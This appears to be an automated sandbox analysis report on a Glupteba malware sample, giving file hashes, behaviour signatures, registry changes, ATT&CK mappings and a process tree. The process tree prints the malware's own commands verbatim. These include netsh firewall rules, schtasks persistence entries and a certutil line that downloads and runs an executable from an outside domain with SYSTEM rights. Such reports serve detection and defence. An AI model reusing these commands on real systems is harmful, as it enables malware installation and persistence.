glupteba | a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409

General

Target

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Size

4.0MB
MD5

e006b2b08833a38314bad962b8e549eb
SHA1

289e9b527460258ce38402604b82ab1784b93229
SHA256

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409
SHA512

2a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03
SSDEEP

98304:rGCKnQtyq51ek1S7mP13ds372CfpMyc61mEy6Ti9Hvti2:rzKfS1ehmd3IZfpJc6HLTOHvp

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4972-133-0x00000000050F0000-0x00000000057E6000-memory.dmp	family_glupteba
behavioral2/memory/4972-134-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral2/memory/4972-136-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral2/memory/4184-140-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral2/memory/4184-146-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral2/memory/4356-150-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba
behavioral2/memory/4356-154-0x0000000000400000-0x0000000002FDF000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 2556 created 4972	2556	svchost.exe	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
PID 2556 created 4356	2556	svchost.exe	csrss.exe
PID 2556 created 4356	2556	svchost.exe	csrss.exe
PID 2556 created 4356	2556	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

4356 csrss.exe
2832 patch.exe
Modifies Windows Firewall 1 TTPs 2 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exenetsh.exe

pid process

1080 netsh.exe
3808 netsh.exe

pid	process
4356	csrss.exe
2832	patch.exe

pid	process
1080	netsh.exe
3808	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AgedSilence = "\"C:\\Windows\\rss\\csrss.exe\""	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

3444 bcdedit.exe

pid	process
3444	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

description	ioc	process
File opened for modification	C:\Windows\rss	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
File created	C:\Windows\rss\csrss.exe	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2376 schtasks.exe
2284 schtasks.exe

pid	process
2376	schtasks.exe
2284	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exea11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.execsrss.exe

pid	process
4972	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
4972	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
4184	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
4184	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
4356	csrss.exe
4356	csrss.exe
4356	csrss.exe
4356	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4972	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Token: SeImpersonatePrivilege	4972	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
Token: SeTcbPrivilege	2556	svchost.exe
Token: SeTcbPrivilege	2556	svchost.exe
Token: SeBackupPrivilege	2556	svchost.exe
Token: SeRestorePrivilege	2556	svchost.exe
Token: SeBackupPrivilege	2556	svchost.exe
Token: SeRestorePrivilege	2556	svchost.exe
Token: SeSystemEnvironmentPrivilege	4356	csrss.exe
Token: SeBackupPrivilege	2556	svchost.exe
Token: SeRestorePrivilege	2556	svchost.exe
Token: SeBackupPrivilege	2556	svchost.exe
Token: SeRestorePrivilege	2556	svchost.exe
Token: SeBackupPrivilege	2556	svchost.exe
Token: SeRestorePrivilege	2556	svchost.exe
Token: SeBackupPrivilege	2556	svchost.exe
Token: SeRestorePrivilege	2556	svchost.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

svchost.exea11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 2556 wrote to memory of 4184	2556	svchost.exe	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
PID 2556 wrote to memory of 4184	2556	svchost.exe	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
PID 2556 wrote to memory of 4184	2556	svchost.exe	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
PID 4184 wrote to memory of 3160	4184	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	cmd.exe
PID 4184 wrote to memory of 3160	4184	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	cmd.exe
PID 3160 wrote to memory of 1080	3160	cmd.exe	netsh.exe
PID 3160 wrote to memory of 1080	3160	cmd.exe	netsh.exe
PID 4184 wrote to memory of 3112	4184	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	cmd.exe
PID 4184 wrote to memory of 3112	4184	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	cmd.exe
PID 3112 wrote to memory of 3808	3112	cmd.exe	netsh.exe
PID 3112 wrote to memory of 3808	3112	cmd.exe	netsh.exe
PID 4184 wrote to memory of 4356	4184	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	csrss.exe
PID 4184 wrote to memory of 4356	4184	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	csrss.exe
PID 4184 wrote to memory of 4356	4184	a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe	csrss.exe
PID 2556 wrote to memory of 2376	2556	svchost.exe	schtasks.exe
PID 2556 wrote to memory of 2376	2556	svchost.exe	schtasks.exe
PID 2556 wrote to memory of 2284	2556	svchost.exe	schtasks.exe
PID 2556 wrote to memory of 2284	2556	svchost.exe	schtasks.exe
PID 2556 wrote to memory of 2832	2556	svchost.exe	patch.exe
PID 2556 wrote to memory of 2832	2556	svchost.exe	patch.exe
PID 4356 wrote to memory of 3444	4356	csrss.exe	bcdedit.exe
PID 4356 wrote to memory of 3444	4356	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
"C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4972

C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe
"C:\Users\Admin\AppData\Local\Temp\a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4184

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3160

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:1080

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\b5ea46465341\b5ea46465341\b5ea46465341.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3112

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\b5ea46465341\b5ea46465341\b5ea46465341.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:3808

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4356

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2376

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://10gamestop.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:2284

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2832

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2556

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.0MB

MD5
e006b2b08833a38314bad962b8e549eb

SHA1
289e9b527460258ce38402604b82ab1784b93229

SHA256
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409

SHA512
2a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.0MB

MD5
e006b2b08833a38314bad962b8e549eb

SHA1
289e9b527460258ce38402604b82ab1784b93229

SHA256
a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409

SHA512
2a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03

Download Submit
memory/1080-139-0x0000000000000000-mapping.dmp

Download
memory/2284-149-0x0000000000000000-mapping.dmp

Download
memory/2376-147-0x0000000000000000-mapping.dmp

Download
memory/2832-151-0x0000000000000000-mapping.dmp

Download
memory/3112-141-0x0000000000000000-mapping.dmp

Download
memory/3160-137-0x0000000000000000-mapping.dmp

Download
memory/3444-153-0x0000000000000000-mapping.dmp

Download
memory/3808-142-0x0000000000000000-mapping.dmp

Download
memory/4184-135-0x0000000000000000-mapping.dmp

Download
memory/4184-138-0x0000000004C76000-0x000000000501D000-memory.dmp

Filesize
3.7MB

Download
memory/4184-140-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/4184-146-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/4356-150-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/4356-148-0x0000000005200000-0x00000000055A7000-memory.dmp

Filesize
3.7MB

Download
memory/4356-143-0x0000000000000000-mapping.dmp

Download
memory/4356-154-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/4972-136-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/4972-132-0x0000000004D39000-0x00000000050E0000-memory.dmp

Filesize
3.7MB

Download
memory/4972-134-0x0000000000400000-0x0000000002FDF000-memory.dmp

Filesize
43.9MB

Download
memory/4972-133-0x00000000050F0000-0x00000000057E6000-memory.dmp

Filesize
7.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads